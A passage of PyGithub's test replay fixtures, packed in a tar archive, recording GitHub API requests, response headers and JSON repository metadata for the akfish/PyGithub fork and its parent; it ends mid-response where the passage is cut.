{"id":12156762,"name":"PyGithub","full_name":"akfish/PyGithub","owner":{"login":"akfish","id":922715,"avatar_url":"https://1.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"private":false,"html_url":"https://github.com/akfish/PyGithub","description":"Python library implementing the full Github API v3","fork":true,"url":"https://api.github.com/repos/akfish/PyGithub","forks_url":"https://api.github.com/repos/akfish/PyGithub/forks","keys_url":"https://api.github.com/repos/akfish/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/akfish/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/akfish/PyGithub/teams","hooks_url":"https://api.github.com/repos/akfish/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/akfish/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/akfish/PyGithub/events","assignees_url":"https://api.github.com/repos/akfish/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/akfish/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/akfish/PyGithub/tags","blobs_url":"https://api.github.com/repos/akfish/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/akfish/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/akfish/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/akfish/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/akfish/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/akfish/PyGithub/languages","stargazers_url":"https://api.github.com/repos/akfish/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/akfish/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/akfish/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/akfish/PyGithub/subscription","commits_url":"https://api.github.com/repos/akfish/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/akfish/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/akfish/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/akfish/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/akfish/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/akfish/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/akfish/PyGithub/merges","archive_url":"https://api.github.com/repos/akfish/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/akfish/PyGithub/downloads","issues_url":"https://api.github.com/repos/akfish/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/akfish/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/akfish/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/akfish/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/akfish/PyGithub/labels{/name}","created_at":"2013-08-16T10:56:11Z","updated_at":"2013-08-22T02:09:11Z","pushed_at":"2013-08-22T02:09:09Z","git_url":"git://github.com/akfish/PyGithub.git","ssh_url":"git@github.com:akfish/PyGithub.git","clone_url":"https://github.com/akfish/PyGithub.git","svn_url":"https://github.com/akfish/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":6736,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"master_branch":"master","default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"network_count":70,"parent":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-08-21T20:32:08Z","pushed_at":"2013-08-21T20:31:45Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":7437,"watchers_count":248,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":70,"mirror_url":null,"open_issues_count":17,"forks":70,"open_issues":17,"watchers":248,"master_branch":"master","default_branch":"master"},"source":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-08-21T20:32:08Z","pushed_at":"2013-08-21T20:31:45Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":7437,"watchers_count":248,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":70,"mirror_url":null,"open_issues_count":17,"forks":70,"open_issues":17,"watchers":248,"master_branch":"master","default_branch":"master"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Persistence.testLoadAndUpdate.txt0000644000175100001660000003470614756101563024561 0ustar00runnerdockerhttps GET api.github.com None /repos/akfish/PyGithub {'If-None-Match': '"8600bedcb7fed1d8065e1693e05529ce"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Thu, 22 Aug 2013 02:09:11 GMT'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '13712'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 22 Aug 2013 02:14:54 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"ef281ef0e821c18f80da36902727160b"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 22 Aug 2013 02:15:01 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377140429')] {"id":12156762,"name":"PyGithub","full_name":"akfish/PyGithub","owner":{"login":"akfish","id":922715,"avatar_url":"https://0.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"private":false,"html_url":"https://github.com/akfish/PyGithub","description":"Python library implementing the full Github API v3 - AKFish Fork","fork":true,"url":"https://api.github.com/repos/akfish/PyGithub","forks_url":"https://api.github.com/repos/akfish/PyGithub/forks","keys_url":"https://api.github.com/repos/akfish/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/akfish/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/akfish/PyGithub/teams","hooks_url":"https://api.github.com/repos/akfish/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/akfish/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/akfish/PyGithub/events","assignees_url":"https://api.github.com/repos/akfish/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/akfish/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/akfish/PyGithub/tags","blobs_url":"https://api.github.com/repos/akfish/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/akfish/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/akfish/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/akfish/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/akfish/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/akfish/PyGithub/languages","stargazers_url":"https://api.github.com/repos/akfish/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/akfish/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/akfish/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/akfish/PyGithub/subscription","commits_url":"https://api.github.com/repos/akfish/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/akfish/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/akfish/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/akfish/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/akfish/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/akfish/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/akfish/PyGithub/merges","archive_url":"https://api.github.com/repos/akfish/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/akfish/PyGithub/downloads","issues_url":"https://api.github.com/repos/akfish/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/akfish/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/akfish/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/akfish/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/akfish/PyGithub/labels{/name}","created_at":"2013-08-16T10:56:11Z","updated_at":"2013-08-22T02:14:54Z","pushed_at":"2013-08-22T02:09:09Z","git_url":"git://github.com/akfish/PyGithub.git","ssh_url":"git@github.com:akfish/PyGithub.git","clone_url":"https://github.com/akfish/PyGithub.git","svn_url":"https://github.com/akfish/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":6736,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"master_branch":"master","default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"network_count":70,"parent":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-08-21T20:32:08Z","pushed_at":"2013-08-21T20:31:45Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":7437,"watchers_count":248,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":70,"mirror_url":null,"open_issues_count":17,"forks":70,"open_issues":17,"watchers":248,"master_branch":"master","default_branch":"master"},"source":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-08-21T20:32:08Z","pushed_at":"2013-08-21T20:31:45Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":7437,"watchers_count":248,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":70,"mirror_url":null,"open_issues_count":17,"forks":70,"open_issues":17,"watchers":248,"master_branch":"master","default_branch":"master"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Pickle.testPickleRepository.txt0000644000175100001660000001703114756101563024336 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 25 Aug 2023 22:18:41 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"30c1df371a44c445b7125f2d17df44062f98c1725ddf212dd09cabdd8fde9389"'), ('Last-Modified', 'Fri, 25 Aug 2023 15:12:40 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '52'), ('X-RateLimit-Reset', '1693004247'), ('X-RateLimit-Resource', 'core'), ('X-RateLimit-Used', '8'), ('Accept-Ranges', 'bytes'), ('Content-Length', '1427'), ('X-GitHub-Request-Id', '9DE4:9CCE:5DA8631:5E9093E:64E928C0')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API 